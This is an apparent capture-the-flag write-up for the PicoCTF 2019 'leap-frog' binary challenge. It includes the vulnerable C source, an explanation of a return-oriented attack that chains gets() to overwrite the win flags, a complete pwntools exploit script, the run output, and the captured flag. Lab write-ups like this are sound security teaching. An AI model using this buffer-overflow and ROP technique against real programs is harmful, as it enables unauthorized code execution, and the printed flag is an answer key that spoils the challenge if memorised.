PicoCTF19 leap-frog

Challenge

Can you jump your way to win in the following program and get the flag? You can find the program in /problems/leap-frog on the shell server? Source.

Hints

Try and call the functions in the correct order!

Remember, you can always call main() again!

Solution

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>

#define FLAG_SIZE 64

bool win1 = false;
bool win2 = false;
bool win3 = false;

void leapA() {
  win1 = true;
}

void leap2(unsigned int arg_check) {
  if (win3 && arg_check == 0xDEADBEEF) {
    win2 = true;
  }  else if (win3) {
    printf("Wrong Argument. Try Again.\n");
  } else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void leap3() {
  if (win1 && !win1) {
    win3 = true;
  } else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void display_flag() {
  char flag[FLAG_SIZE];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }
  fgets(flag, sizeof(flag), file);
  
  if (win1 && win2 && win3) {
    printf("%s", flag);
    return;
  } else if (win1 || win3) {
    printf("Nice Try! You're Getting There!\n");
  } else {
    printf("You won't get the flag that easy..\n");
  }
}

void vuln() {
  char buf[16];
  printf("Enter your input> ");
  return gets(buf);
}

int main(int argc, char **argv){
  setvbuf(stdout, NULL, _IONBF, 0);
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
}

It seems that in order to print the flag we first need to set win1, win2, win3 to true, then call display_flag().

There are three corresponding functions which seem to set these booleans, but leap3() has the impossible condition win1 && !win1 and we can't jump past that check due to ASLR.

What if we just use the gets() function in Libc which is able to write anything from stdin into any writable segment of memory. So we can use gets() to set win1, win2, and win3 to true, and skip calling all the leap() functions.

We can set all the variables to true with a payload that:

- Padding of A's for a Buffer Overflow
- gets_plt - first function to call
- flag_addr - second function to call
- win_addr - the buffer parameter being passed to gets
from pwn import *
import sys
import subprocess

BINARY = './rop'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']

if len(sys.argv) < 2:
    stdout = process.PTY
    stdin = process.PTY
    sh = process(BINARY, stdout=stdout, stdin=stdin)
    REMOTE = False
else:
    s = ssh(host='2019shell1.picoctf.com', user='samson', password="REDACTED")
    sh = s.process('rop', cwd='/problems/leap-frog')
    REMOTE = True

gets_plt = 0x08048430
win1_addr = 0x0804A03D
display_flag_addr = 0x080486b3
payload = 'A'*28
payload += p32(gets_plt)
payload += p32(display_flag_addr)
payload += p32(win1_addr)
sh.sendlineafter('> ', payload)
sh.sendline('\x01\x01\x01')
sh.interactive()
samson@pico-2019-shell1:/problems/leap-frog$ python ~/test2.py 
[*] '/problems/leap-frog/rop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Starting local process './rop': pid 3016256
[*] Switching to interactive mode
picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_f60266f9}
[*] Got EOF while reading in interactive

Flag

picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_f60266f9}